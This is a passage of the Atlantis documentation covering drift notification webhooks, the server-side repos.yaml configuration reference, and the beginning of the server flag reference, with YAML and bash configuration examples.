including no-drift heartbeat results. NOTE Drift webhooks use `event: drift` in the webhook configuration. They are independent from `event: apply` webhooks. ### Configuring drift webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#configuring-drift-webhooks) Drift webhooks are configured alongside apply webhooks in the same `webhooks` configuration block. You can send drift notifications to Slack, HTTP endpoints, or both: yaml webhooks: # Apply webhook (existing) - event: apply kind: slack channel: apply-notifications # Drift webhooks - event: drift kind: slack channel: drift-alerts - event: drift kind: http url: https://example.com/drift-webhook NOTE Unlike apply webhooks, drift webhooks do not support `workspace-regex` or `branch-regex` filtering because drift detection operates at the repository level, not in the context of a pull request. ### Slack drift message format [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#slack-drift-message-format) When drift detection completes successfully, the Slack message includes: * **Color**: Red if drift was found, green if no drift * **Text**: "Drift detected in owner/repo" or "No drift in owner/repo" * **Fields**: Repository, Ref, Projects with drift (count), Detection ID ### HTTP drift webhook payload [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#http-drift-webhook-payload) The HTTP webhook sends a POST request with the following JSON payload: json { "repository": "octocat/Hello-World", "ref": "main", "detection_id": "550e8400-e29b-41d4-a716-446655440000", "projects_with_drift": 1, "total_projects": 2, "projects": [\ {\ "project_name": "vpc",\ "path": "modules/vpc",\ "workspace": "production",\ "has_drift": true,\ "to_add": 1,\ "to_change": 2,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "summary": "Plan: 1 to add, 2 to change, 0 to destroy."\ },\ {\ "project_name": "ec2",\ "path": "modules/ec2",\ "workspace": "production",\ "has_drift": false,\ "to_add": 0,\ "to_change": 0,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "summary": ""\ }\ ] } The same `--webhook-http-headers` headers configured for apply webhooks are also sent with drift webhook requests. --- # Server Side Repo Config | Atlantis [Skip to content](https://www.runatlantis.io/docs/server-side-repo-config#VPContent) On this page Server Side Repo Config [​](https://www.runatlantis.io/docs/server-side-repo-config#server-side-repo-config) ============================================================================================================= A Server-Side Config file is used for more groups of server config that can't reasonably be expressed through flags. One such usecase is to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. Do I Need A Server-Side Config File? [​](https://www.runatlantis.io/docs/server-side-repo-config#do-i-need-a-server-side-config-file) -------------------------------------------------------------------------------------------------------------------------------------- You do not need a server-side repo config file unless you want to customize some aspect of Atlantis on a per-repo basis. Read through the [use-cases](https://www.runatlantis.io/docs/server-side-repo-config#use-cases) to determine if you need it. Enabling Server Side Config [​](https://www.runatlantis.io/docs/server-side-repo-config#enabling-server-side-config) --------------------------------------------------------------------------------------------------------------------- To use server side repo config create a config file, ex. `repos.yaml`, and pass it to the `atlantis server` command via the `--repo-config` flag, ex. `--repo-config=path/to/repos.yaml`. If you don't wish to write a config file to disk, you can use the `--repo-config-json` flag or `ATLANTIS_REPO_CONFIG_JSON` environment variable to specify your config as JSON. See [\--repo-config-json](https://www.runatlantis.io/docs/server-configuration#repo-config-json) for an example. Example Server Side Repo [​](https://www.runatlantis.io/docs/server-side-repo-config#example-server-side-repo) --------------------------------------------------------------------------------------------------------------- yaml # repos lists the config for specific repos. repos: # id can either be an exact repo ID or a regex. # If using a regex, it must start and end with a slash. # Repo ID's are of the form {VCS hostname}/{org}/{repo name}, ex. # github.com/runatlantis/atlantis. - id: /.*/ # branch is a regex matching pull requests by base branch # (the branch the pull request is getting merged into). # By default, all branches are matched branch: /.*/ # repo_config_file specifies which repo config file to use for this repo. # By default, atlantis.yaml is used. repo_config_file: path/to/atlantis.yaml # plan_requirements sets the Plan Requirements for all repos that match. plan_requirements: [approved, mergeable, undiverged] # apply_requirements sets the Apply Requirements for all repos that match. apply_requirements: [approved, mergeable, undiverged] # import_requirements sets the Import Requirements for all repos that match. import_requirements: [approved, mergeable, undiverged] # workflow sets the workflow for all repos that match. # This workflow must be defined in the workflows section. workflow: custom # allowed_overrides specifies which keys can be overridden by this repo in # its atlantis.yaml file. allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge, repo_locking, repo_locks, custom_policy_check] # allowed_workflows specifies which workflows the repos that match # are allowed to select. allowed_workflows: [custom] # allow_custom_workflows defines whether this repo can define its own # workflows. If false (default), the repo can only use server-side defined # workflows. allow_custom_workflows: true # delete_source_branch_on_merge defines whether the source branch would be deleted on merge # If false (default), the source branch won't be deleted on merge delete_source_branch_on_merge: true # repo_locking defines whether lock repository when planning. # If true (default), atlantis try to get a lock. # deprecated: use repo_locks instead repo_locking: true # repo_locks defines whether the repository would be locked on apply instead of plan, or disabled # Valid values are on_plan (default), on_apply or disabled. repo_locks: mode: on_plan # custom_policy_check defines whether policy checking tools besides Conftest are enabled in checks # If false (default), only Conftest JSON output is allowed custom_policy_check: false # pre_workflow_hooks defines arbitrary list of scripts to execute before workflow execution. pre_workflow_hooks: - run: my-pre-workflow-hook-command arg1 # post_workflow_hooks defines arbitrary list of scripts to execute after workflow execution. post_workflow_hooks: - run: my-post-workflow-hook-command arg1 # policy_check defines if policy checking should be enabled on this repository. policy_check: false # autodiscover defines how atlantis should automatically discover projects in this repository. # If any part of this setting is set here, it overrides the entire setting in the repo config. autodiscover: mode: auto # Optionally ignore some paths for autodiscovery by a glob path. # When autodiscovery is enabled, also applies to all targeted -d commands # (plan, apply, import, etc.) when the path has no explicit project configuration. ignore_paths: - foo/* # id can also be an exact match. - id: github.com/myorg/specific-repo # workflows lists server-side custom workflows workflows: custom: plan: steps: - run: my-custom-command arg1 arg2 - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply Use Cases [​](https://www.runatlantis.io/docs/server-side-repo-config#use-cases) --------------------------------------------------------------------------------- Here are some of the reasons you might want to use a repo config. ### Requiring PR Is Approved Before an applicable subcommand [​](https://www.runatlantis.io/docs/server-side-repo-config#requiring-pr-is-approved-before-an-applicable-subcommand) If you want to require that all (or specific) repos must have pull requests approved before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: yaml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] For a specific repo: yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] See [Command Requirements](https://www.runatlantis.io/docs/command-requirements) for more details. ### Requiring PR Is "Mergeable" Before Apply or Import [​](https://www.runatlantis.io/docs/server-side-repo-config#requiring-pr-is-mergeable-before-apply-or-import) If you want to require that all (or specific) repos must have pull requests in a mergeable state before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: yaml # repos.yaml repos: - id: /.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] For a specific repo: yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] See [Command Requirements](https://www.runatlantis.io/docs/command-requirements) for more details. ### Repos Can Set Their Own Apply Requirements [​](https://www.runatlantis.io/docs/server-side-repo-config#repos-can-set-their-own-apply-requirements) If you want all (or specific) repos to be able to override the default apply requirements, use the `allowed_overrides` key. To allow all repos to override the default: yaml # repos.yaml repos: - id: /.*/ # The default will be approved. plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # But all repos can set their own using atlantis.yaml allowed_overrides: [plan_requirements, apply_requirements, import_requirements] To allow only a specific repo to override the default: yaml # repos.yaml repos: # Set a default for all repos. - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Allow a specific repo to override. - id: github.com/myorg/myrepo allowed_overrides: [plan_requirements, apply_requirements, import_requirements] Then each allowed repo can have an `atlantis.yaml` file that sets `plan_requirements`, `apply_requirements` or `import_requirements` to an empty array (disabling the requirement). yaml # atlantis.yaml in the repo root or set repo_config_file in repos.yaml version: 3 projects: - dir: . plan_requirements: [] apply_requirements: [] import_requirements: [] ### Running Scripts Before Atlantis Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config#running-scripts-before-atlantis-workflows) If you want to run scripts that would execute before Atlantis can run default or custom workflows, you can create a `pre-workflow-hooks`: yaml repos: - id: /.*/ pre_workflow_hooks: - run: my custom command - run: | my bash script inline See [Pre Workflow Hooks](https://www.runatlantis.io/docs/pre-workflow-hooks) for more details on writing pre workflow hooks. ### Running Scripts After Atlantis Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config#running-scripts-after-atlantis-workflows) If you want to run scripts that would execute after Atlantis runs default or custom workflows, you can create a `post-workflow-hooks`: yaml repos: - id: /.*/ post_workflow_hooks: - run: my custom command - run: | my bash script inline See [Post Workflow Hooks](https://www.runatlantis.io/docs/post-workflow-hooks) for more details on writing post workflow hooks. ### Change The Default Atlantis Workflow [​](https://www.runatlantis.io/docs/server-side-repo-config#change-the-default-atlantis-workflow) If you want to change the default commands that Atlantis runs during `plan` and `apply` phases, you can create a new `workflow`. If you want to use that workflow by default for all repos, use the workflow key `default`: yaml # repos.yaml # NOTE: the repos key is not required. workflows: # It's important that this is "default". default: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Allow Repos To Choose A Server-Side Workflow [​](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-choose-a-server-side-workflow) If you want repos to be able to choose their own workflows that are defined in the server-side repo config, you need to create the workflows server-side and then allow each repo to override the `workflow` key: yaml # repos.yaml # Allow repos to override the workflow key. repos: - id: /.*/ allowed_overrides: [workflow] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command Or, if you want to restrict what workflows each repo has access to, use the `allowed_workflows` key: yaml # repos.yaml # Restrict which workflows repos can select. repos: - id: /.*/ allowed_overrides: [workflow] - id: /my_repo/ allowed_overrides: [workflow] allowed_workflows: [custom1] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command Then each allowed repo can choose one of the workflows in their `atlantis.yaml` files: yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 # could also be custom2 OR default NOTE There is always a workflow named `default` that corresponds to Atlantis' default workflow unless you've created your own server-side workflow with that key (overriding it). See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Allow Using Custom Policy Tools [​](https://www.runatlantis.io/docs/server-side-repo-config#allow-using-custom-policy-tools) Conftest is the standard policy check application integrated with Atlantis, but custom tools can still be run in custom workflows when the `custom_policy_check` option is set. See the [Custom Policy Checks page](https://www.runatlantis.io/docs/custom-policy-checks) for detailed examples. ### Allow Repos To Define Their Own Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-define-their-own-workflows) If you want repos to be able to define their own workflows you need to allow them to override the `workflow` key and set `allow_custom_workflows` to `true`. DANGER If repos can define their own workflows, then anyone that can create a pull request to that repo can essentially run arbitrary code on your Atlantis server. yaml # repos.yaml repos: - id: /.*/ # With just allowed_overrides: [workflow], repos can only # choose workflows defined server-side. allowed_overrides: [workflow] # By setting allow_custom_workflows to true, we allow repos to also # define their own workflows. allow_custom_workflows: true Then each allowed repo can define and use a custom workflow in their `atlantis.yaml` files: yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Multiple Atlantis Servers Handle The Same Repository [​](https://www.runatlantis.io/docs/server-side-repo-config#multiple-atlantis-servers-handle-the-same-repository) Running multiple Atlantis servers to handle the same repository can be done to separate permissions for each Atlantis server. In this case, a different [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repository config file can be used by using different `repos.yaml` files. For example, consider a situation where a separate `production-server` atlantis uses repo config `atlantis-production.yaml` and `staging-server` atlantis uses repo config `atlantis-staging.yaml`. Firstly, deploy 2 Atlantis servers, `production-server` and `staging-server`. Each server has different permissions and a different `repos.yaml` file. The `repos.yaml` contains `repo_config_file` key to specify the repository atlantis config file path. yaml # repos.yaml repos: - id: /.*/ # for production-server repo_config_file: atlantis-production.yaml # for staging-server # repo_config_file: atlantis-staging.yaml Then, create `atlantis-production.yaml` and `atlantis-staging.yaml` files in the repository. See the configuration examples in [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . yaml # atlantis-production.yaml version: 3 projects: - name: project branch: /production/ dir: infrastructure/production --- # atlantis-staging.yaml version: 3 projects: - name: project branch: /staging/ dir: infrastructure/staging Now, 2 webhook URLs can be setup for the repository, which send events to `production-server` and `staging-server` respectively. Each servers handle different repository config files. Notes * If `no projects` comments are annoying, set [\--silence-no-projects](https://www.runatlantis.io/docs/server-configuration#silence-no-projects) . * The command trigger executable name can be reconfigured from `atlantis` to something else by setting [Executable Name](https://www.runatlantis.io/docs/server-configuration#executable-name) . * When using different atlantis server vcs users such as `@atlantis-staging`, the comment `@atlantis-staging plan` can be used instead `atlantis plan` to call `staging-server` only. Reference [​](https://www.runatlantis.io/docs/server-side-repo-config#reference) --------------------------------------------------------------------------------- ### Top-Level Keys [​](https://www.runatlantis.io/docs/server-side-repo-config#top-level-keys) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | repos | array\[[Repo](https://www.runatlantis.io/docs/server-side-repo-config#repo)
\] | see below | no | List of repos to apply settings to. | | workflows | map\[string: [Workflow](https://www.runatlantis.io/docs/custom-workflows#workflow)
\] | see below | no | Map from workflow name to workflow. Workflows override the default Atlantis commands. | | policies | Policies. | none | no | List of policy sets to run and associated metadata | | metrics | Metrics. | none | no | Map of metric configuration | | team\_authz | [TeamAuthz](https://www.runatlantis.io/docs/server-side-repo-config#teamauthz) | none | no | Configuration of team permission checking | A Note On Defaults #### `repos` [​](https://www.runatlantis.io/docs/server-side-repo-config#repos) `repos` always contains a first element with the Atlantis default config: yaml repos: - id: /.*/ branch: /.*/ plan_requirements: [] apply_requirements: [] import_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: false #### `workflows` [​](https://www.runatlantis.io/docs/server-side-repo-config#workflows) `workflows` always contains the Atlantis default workflow under the key `default`: yaml workflows: default: plan: steps: [init, plan] apply: steps: [apply] This gets merged with whatever config you write. If you set a workflow with the key `default`, it will override this. ### Repo [​](https://www.runatlantis.io/docs/server-side-repo-config#repo) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | id | string | none | yes | Value can be a regular expression when specified as // or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. | | branch | string | none | no | An regex matching pull requests by base branch (the branch the pull request is getting merged into). By default, all branches are matched | | repo\_config\_file | string | none | no | Repo config file path in this repo. By default, use `atlantis.yaml` which is located on repository root. When multiple atlantis servers work with the same repo, please set different file names. | | workflow | string | none | no | A custom workflow. | | plan\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | apply\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | import\_requirements | \[\]string | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | allowed\_overrides | \[\]string | none | no | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements`, `workflow`, `delete_source_branch_on_merge`,`repo_locking`, `repo_locks`, and `custom_policy_check` | | allowed\_workflows | \[\]string | none | no | A list of workflows that `atlantis.yaml` files can select from. | | allow\_custom\_workflows | bool | false | no | Whether or not to allow [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows)
. | | delete\_source\_branch\_on\_merge | bool | false | no | Whether or not to delete the source branch on merge. | | repo\_locking | bool | false | no | (deprecated) Whether or not to get a lock. | | repo\_locks | [RepoLocks](https://www.runatlantis.io/docs/server-side-repo-config#repolocks) | `mode: on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. See [RepoLocks](https://www.runatlantis.io/docs/server-side-repo-config#repolocks)
for more details. | | policy\_check | bool | false | no | Whether or not to run policy checks on this repository. | | custom\_policy\_check | bool | false | no | Whether or not to enable custom policy check tools outside of Conftest on this repository. | | autodiscover | AutoDiscover | none | no | Auto discover settings for this repo | | silence\_pr\_comments | \[\]string | none | no | Silence PR comments from defined stages while preserving PR status checks. Useful in large environments with many Atlantis instances and/or projects, when the comments are too big and too many, therefore it is preferable to rely solely on PR status checks. Supported values are: `plan`, `apply`. | Notes * If multiple repos match, the last match will apply. * If a key isn't defined, it won't override a key that matched from above. For example, given a repo ID `github.com/owner/repo` and a config: yaml repos: - id: /.*/ allow_custom_workflows: true apply_requirements: [approved] - id: github.com/owner/repo apply_requirements: [] The final config will look like: yaml apply_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: true Where * `apply_requirements` is set from the `id: github.com/owner/repo` config because it overrides the previous matching config from `id: /.*/`. * `workflow` is set from the default config that always exists. * `allowed_overrides` is set from the default config that always exists. * `allow_custom_workflows` is set from the `id: /.*/` config and isn't unset by the `id: github.com/owner/repo` config because it didn't define that key. ### RepoLocks [​](https://www.runatlantis.io/docs/server-side-repo-config#repolocks) yaml mode: on_apply | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | ### Policies [​](https://www.runatlantis.io/docs/server-side-repo-config#policies) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | conftest\_version | string | none | no | conftest version to run all policy sets | | owners | Owners(#Owners) | none | yes | owners that can approve failing policies | | approve\_count | int | 1 | no | number of approvals required to bypass failing policies. | | sticky\_policy\_approvals | bool | false | no | when true, policy approvals survive re-plans as long as no new policy output items (per `policy_item_regex`) are introduced. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_item\_regex | string | `(?s).+` | no | regex to extract comparable items from policy output for sticky approval tracking. Default matches entire output as one item. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_sets | \[\]PolicySet | none | yes | set of policies to run on a plan output | ### Owners [​](https://www.runatlantis.io/docs/server-side-repo-config#owners) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | users | \[\]string | none | no | list of github users that can approve failing policies | | teams | \[\]string | none | no | list of github teams that can approve failing policies | ### PolicySet [​](https://www.runatlantis.io/docs/server-side-repo-config#policyset) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | name | string | none | yes | unique name for the policy set | | path | string | none | yes | path to the rego policies directory | | source | string | none | yes | only `local` is supported at this time | | owners | Owners | none | no | owners that can approve this specific policy set (merged with top-level owners) | | approve\_count | int | inherited | no | number of approvals required. Defaults to the top-level `approve_count` value | | prevent\_self\_approve | bool | false | no | whether the PR author can approve policies. Defaults to `false` (the author must also be in owners) | | sticky\_policy\_approvals | bool | inherited | no | overrides the top-level `sticky_policy_approvals` for this policy set. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | | policy\_item\_regex | string | inherited | no | overrides the top-level `policy_item_regex` for this policy set. See [Sticky Policy Approvals](https://www.runatlantis.io/docs/policy-checking#sticky-policy-approvals)
. | ### Metrics [​](https://www.runatlantis.io/docs/server-side-repo-config#metrics) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | statsd | [Statsd](https://www.runatlantis.io/docs/server-side-repo-config#statsd) | none | no | Statsd metrics provider | | prometheus | [Prometheus](https://www.runatlantis.io/docs/server-side-repo-config#prometheus) | none | no | Prometheus metrics provider | ### Statsd [​](https://www.runatlantis.io/docs/server-side-repo-config#statsd) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | host | string | none | yes | statsd host ip address | | port | string | none | yes | statsd port | ### Prometheus [​](https://www.runatlantis.io/docs/server-side-repo-config#prometheus) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | endpoint | string | none | yes | path to metrics endpoint | ### TeamAuthz [​](https://www.runatlantis.io/docs/server-side-repo-config#teamauthz) | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | command | string | none | yes | full path to external authorization command | | args | \[\]string | none | no | optional arguments to pass to `command` | --- # Server Configuration | Atlantis [Skip to content](https://www.runatlantis.io/docs/server-configuration#VPContent) On this page Server Configuration [​](https://www.runatlantis.io/docs/server-configuration#server-configuration) ==================================================================================================== This page explains how to configure the `atlantis server` command. Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. Environment Variables [​](https://www.runatlantis.io/docs/server-configuration#environment-variables) ------------------------------------------------------------------------------------------------------ All flags can be specified as environment variables. 1. Take the flag name, ex. `--gh-user` 2. Ignore the first `--` => `gh-user` 3. Convert the `-`'s to `_`'s => `gh_user` 4. Uppercase all the letters => `GH_USER` 5. Prefix with `ATLANTIS_` => `ATLANTIS_GH_USER` NOTE To set a boolean flag use `true` or `false` as the value. NOTE The flag `--atlantis-url` is set by the environment variable `ATLANTIS_ATLANTIS_URL` **NOT** `ATLANTIS_URL`. Config File [​](https://www.runatlantis.io/docs/server-configuration#config-file) ---------------------------------------------------------------------------------- All flags can also be specified via a YAML config file. To use a YAML config file, run `atlantis server --config /path/to/config.yaml`. The keys of your config file should be the same as the flag names, ex. yaml gh-token: ... log-level: ... WARNING The config file you pass to `--config` is different from the `--repo-config` file. The `--config` config file is only used as an alternate way of setting `atlantis server` flags. Precedence [​](https://www.runatlantis.io/docs/server-configuration#precedence) -------------------------------------------------------------------------------- Values are chosen in this order: 1. Flags 2. Environment Variables 3. Config File Flags [​](https://www.runatlantis.io/docs/server-configuration#flags) ---------------------------------------------------------------------- ### `--allow-commands` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration#allow-commands) bash atlantis server --allow-commands=version,plan,apply,unlock,approve_policies,cancel # or ATLANTIS_ALLOW_COMMANDS='version,plan,apply,unlock,approve_policies,cancel' List of allowed commands to be run on the Atlantis server, Defaults to `version,plan,apply,unlock,approve_policies,cancel` Notes: * Accepts a comma separated list, ex. `command1,command2`. * `version`, `plan`, `apply`, `unlock`, `approve_policies`, `cancel`, `import`, `state`, `policy_check` and `all` are available. * `policy_check` is an internal command that runs automatically after `plan` when [policy checking](https://www.runatlantis.io/docs/policy-checking) is enabled. It must be explicitly allowlisted when using [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) . * `all` is a special keyword that allows all commands. If pass `all` then all other commands will be ignored. ### `--allow-draft-prs` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration#allow-draft-prs) bash atlantis server --allow-draft-prs # or ATLANTIS_ALLOW_DRAFT_PRS=true Respond to pull requests from draft prs. Defaults to `false`. ### `--allow-fork-prs` v0.3.1+ [​](https://www.runatlantis.io/docs/server-configuration#allow-fork-prs) bash atlantis server --allow-fork-prs # or ATLANTIS_ALLOW_FORK_PRS=true Respond to pull requests from forks. Defaults to `false`. SECURITY WARNING Potentially dangerous to enable because if attackers can create a pull request to your repo then they can cause Atlantis to run arbitrary code. This can happen because Atlantis will automatically run `terraform plan` which can run arbitrary code if given a malicious Terraform configuration. ### `--api-secret` v0.22.2+ [​](https://www.runatlantis.io/docs/server-configuration#api-secret) bash atlantis server --api-secret="secret" # or (recommended) ATLANTIS_API_SECRET="secret" Required secret used to validate requests made to the [`/api/*` endpoints](https://www.runatlantis.io/docs/api-endpoints) . ### `--atlantis-url` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#atlantis-url) bash atlantis server --atlantis-url="https://my-domain.com:9090/basepath" # or ATLANTIS_ATLANTIS_URL=https://my-domain.com:9090/basepath Specify the URL that Atlantis is accessible from. Used in the Atlantis UI and in links from pull request comments. Defaults to `http://$(hostname):$port` where `$port` is from the [`--port`](https://www.runatlantis.io/docs/server-configuration#port) flag. Supports a basepath if you're hosting Atlantis under a path. Notes: * If a load balancer with a non http/https port (not the one defined in the `--port` flag) is used, update the URL to include the port like in the example above. * This URL is used as the `details` link next to each atlantis job to view the job's logs. ### `--autodiscover-mode` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration#autodiscover-mode) bash atlantis server --autodiscover-mode="" # or ATLANTIS_AUTODISCOVER_MODE="" Sets auto discover mode, default is `auto`. When set to `auto`, projects in a repo will be discovered by Atlantis when there are no projects configured in the repo config. If one or more projects are defined in the repo config then auto discovery will be completely disabled. When set to `enabled` projects will be discovered unconditionally. If an auto discovered project is already defined in the projects section of the repo config, the project from the repo config will take precedence over the auto discovered project. When set to `disabled` projects will never be discovered, even if there are no projects configured in the repo config. ### `--automerge` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration#automerge) bash atlantis server --automerge # or ATLANTIS_AUTOMERGE=true Automatically merge pull requests after all plans have been successfully applied. Defaults to `false`. See [Automerging](https://www.runatlantis.io/docs/automerging) for more details. ### `--automerge-method` [​](https://www.runatlantis.io/docs/server-configuration#automerge-method) bash atlantis server --automerge-method="squash" # or ATLANTIS_AUTOMERGE_METHOD="squash" Default merge method to use when automerging pull requests. Valid values are `merge`, `rebase`, and `squash`. When not set, the VCS provider's default merge method is used. This can be overridden per command with the `--auto-merge-method` comment flag. Currently only implemented for GitHub. ### `--autoplan-file-list` v0.15.0+ [​](https://www.runatlantis.io/docs/server-configuration#autoplan-file-list) bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --autoplan-file-list='**/*.tf,project1/*.pkr.hcl' # or ATLANTIS_AUTOPLAN_FILE_LIST='**/*.tf,project1/*.pkr.hcl' List of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning. Notes: * Accepts a comma separated list, ex. `pattern1,pattern2`. * Patterns use the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) * List of file patterns will be used by both automatic and manually run plans. * When not set, defaults to all `.tf`, `.tf.json`, `.tfvars`, `.tfvars.json`, `.tofu`, `.tofu.json`, `terragrunt.hcl` and `.terraform.lock.hcl` files (`--autoplan-file-list='**/*.tf,**/*.tf.json,**/*.tfvars,**/*.tfvars.json,**/*.tofu,**/*.tofu.json,**/terragrunt.hcl,**/.terraform.lock.hcl'`). * Setting `--autoplan-file-list` will override the defaults. You **must** add `**/*.tf` and other defaults if you want to include them. * The default is global (not distribution-aware). Both Terraform and OpenTofu installs will match `.tofu` changes. If you do not use OpenTofu, you can override the default to exclude `.tofu` patterns. * A custom [Workflow](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) that uses autoplan `when_modified` will ignore this value. Examples: * Autoplan when any `*.tf` or `*.tfvars` file is modified. * `--autoplan-file-list='**/*.tf,**/*.tfvars'` * Autoplan when any `*.tf` file is modified except in `project2/` directory * `--autoplan-file-list='**/*.tf,!project2'` * Autoplan when any `*.tf` files or `.yml` files in subfolder of `project1` is modified. * `--autoplan-file-list='**/*.tf,project1/**/*.yml'` NOTE By default, changes to modules will not trigger autoplanning. See the flags below. ### `--autoplan-modules` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration#autoplan-modules) bash atlantis server --autoplan-modules # or ATLANTIS_AUTOPLAN_MODULES=true Defaults to `false`. When set to `true`, Atlantis will trace the local modules of included projects. Included project are projects with files included by `--autoplan-file-list`. After tracing, Atlantis will plan any project that includes a changed module. This is equivalent to setting `--autoplan-modules-from-projects` to the value of `--autoplan-file-list`. See below. NOTE Module dependency indexing uses Terraform config inspection and may not fully support `.tofu` / `.tofu.json` files. Module calls defined only in `.tofu` files or shared module directories containing only `.tofu` files may not be traced. Direct file-change autoplanning for `.tofu` projects works regardless. Use explicit `autoplan.when_modified` patterns as a workaround. See [OpenTofu .tofu file support](https://www.runatlantis.io/docs/terraform-versions#opentofu-tofu-file-support) for details. ### `--autoplan-modules-from-projects` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration#autoplan-modules-from-projects) bash atlantis server --autoplan-modules-from-projects='**/init.tf' # or ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS='**/init.tf' Enables auto-planing of projects when a module dependency in the same repository has changed. This is a list of file patterns like `autoplan-file-list`. These patterns select **projects** to index based on the files matched. The index maps modules to the projects that depends on them, including projects that include the module via other modules. When a module file matching `autoplan-file-list` changes, all indexed projects will be planned. Current default is "" (disabled). Examples: * `**/*.tf` - will index all projects that have a `.tf` file in their directory, and plan them whenever an in-repo module dependency has changed. * `**/*.tf,!foo,!bar` - will index all projects containing `.tf` except `foo` and `bar` and plan them whenever an in-repo module dependency has changed. This allows projects to opt-out of auto-planning when a module dependency changes. NOTE Modules that are not selected by autoplan-file-list will not be indexed and dependant projects will not be planned. This flag allows the _projects_ to index to be selected, but the trigger for a plan must be a file in `autoplan-file-list`. NOTE This flag overrides `--autoplan-modules`. If you wish to disable auto-planning of modules, set this flag to an empty string, and set `--autoplan-modules` to `false`. ### `--azuredevops-hostname` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#azuredevops-hostname) bash atlantis server --azuredevops-hostname="dev.azure.com" # or ATLANTIS_AZUREDEVOPS_HOSTNAME="dev.azure.com" Azure DevOps hostname to support cloud and self-hosted instances. Defaults to 